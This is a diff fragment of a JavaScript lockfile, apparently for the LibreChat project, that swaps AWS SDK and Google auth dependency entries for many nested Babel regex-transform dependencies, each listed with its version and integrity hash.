- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
- "@google/genai/google-auth-library/gaxios/rimraf/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
- "@google/genai/google-auth-library/gaxios/rimraf/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
